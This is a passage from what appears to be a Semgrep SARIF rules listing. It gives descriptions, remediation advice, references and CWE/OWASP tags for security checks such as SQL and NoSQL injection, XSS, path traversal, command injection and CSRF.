cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.nosql-injection-servlets.nosql-injection-servlets)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement."},"helpUri":"https://semgrep.dev/r/java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","id":"java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","name":"java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.nosql-injection-servlets.nosql-injection-servlets"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","id":"terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","name":"terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"help":{"markdown":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag)\n - [https://www.php.net/manual/en/language.basic-syntax.phptags.php](https://www.php.net/manual/en/language.basic-syntax.phptags.php)\n","text":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","id":"php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","name":"php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe"},"help":{"markdown":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization)\n - [https://github.com/mgholam/fastJSON#security-warning-update](https://github.com/mgholam/fastJSON#security-warning-update)\n","text":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","id":"csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","name":"csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"SSL verification disabled, this allows for MitM attacks"},"help":{"markdown":"SSL verification disabled, this allows for MitM attacks\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.ssl-verify-none.ssl-verify-none)\n - [https://docs.rs/openssl/latest/openssl/ssl/struct.SslContextBuilder.html#method.set_verify](https://docs.rs/openssl/latest/openssl/ssl/struct.SslContextBuilder.html#method.set_verify)\n","text":"SSL verification disabled, this allows for MitM attacks"},"helpUri":"https://semgrep.dev/r/rust.lang.security.ssl-verify-none.ssl-verify-none","id":"rust.lang.security.ssl-verify-none.ssl-verify-none","name":"rust.lang.security.ssl-verify-none.ssl-verify-none","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.ssl-verify-none.ssl-verify-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The code must not contain any of Unicode Direction Control Characters"},"help":{"markdown":"The code must not contain any of Unicode Direction Control Characters\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.no-bidi-characters.no-bidi-characters)\n - [https://entethalliance.org/specs/ethtrust-sl/v1/#req-1-unicode-bdo](https://entethalliance.org/specs/ethtrust-sl/v1/#req-1-unicode-bdo)\n","text":"The code must not contain any of Unicode Direction Control Characters"},"helpUri":"https://semgrep.dev/r/solidity.security.no-bidi-characters.no-bidi-characters","id":"solidity.security.no-bidi-characters.no-bidi-characters","name":"solidity.security.no-bidi-characters.no-bidi-characters","properties":{"precision":"very-high","tags":["CWE-837: Improper Enforcement of a Single, Unique Action","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.no-bidi-characters.no-bidi-characters"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","id":"scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","name":"scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input."},"help":{"markdown":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-path-traversal.tainted-path-traversal)\n - [https://medium.com/@emmapinheiro42/php-include-ignore-4a3ba81371af](https://medium.com/@emmapinheiro42/php-include-ignore-4a3ba81371af)\n - [https://www.acunetix.com/websitesecurity/php-security-2/](https://www.acunetix.com/websitesecurity/php-security-2/)\n","text":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-path-traversal.tainted-path-traversal","id":"php.lang.security.tainted-path-traversal.tainted-path-traversal","name":"php.lang.security.tainted-path-traversal.tainted-path-traversal","properties":{"precision":"very-high","tags":["CWE-23: Relative Path Traversal","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-path-traversal.tainted-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions."},"help":{"markdown":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib2)\n","text":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib2","id":"python.lang.compatibility.python37.python37-compatibility-importlib2","name":"python.lang.compatibility.python37.python37-compatibility-importlib2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");"},"help":{"markdown":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#custom-algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#custom-algorithms)\n","text":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","id":"java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","name":"java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here."},"help":{"markdown":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/cross_site_scripting/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/cross_site_scripting/index.markdown)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","id":"ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","name":"ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","id":"python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","name":"python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","id":"java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","name":"java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user data flowing into exec. This is code injection and should be avoided."},"help":{"markdown":"Detected user data flowing into exec. This is code injection and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.user-exec.exec-injection)\n - [https://nedbatchelder.com/blog/201206/exec_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/exec_really_is_dangerous.html)\n","text":"Detected user data flowing into exec. This is code injection and should be avoided."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.user-exec.exec-injection","id":"python.flask.security.injection.user-exec.exec-injection","name":"python.flask.security.injection.user-exec.exec-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.user-exec.exec-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request)\n - [https://godoc.org/github.com/levigross/grequests#DoRegularRequest](https://godoc.org/github.com/levigross/grequests#DoRegularRequest)\n - [https://github.com/levigross/grequests](https://github.com/levigross/grequests)\n","text":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. 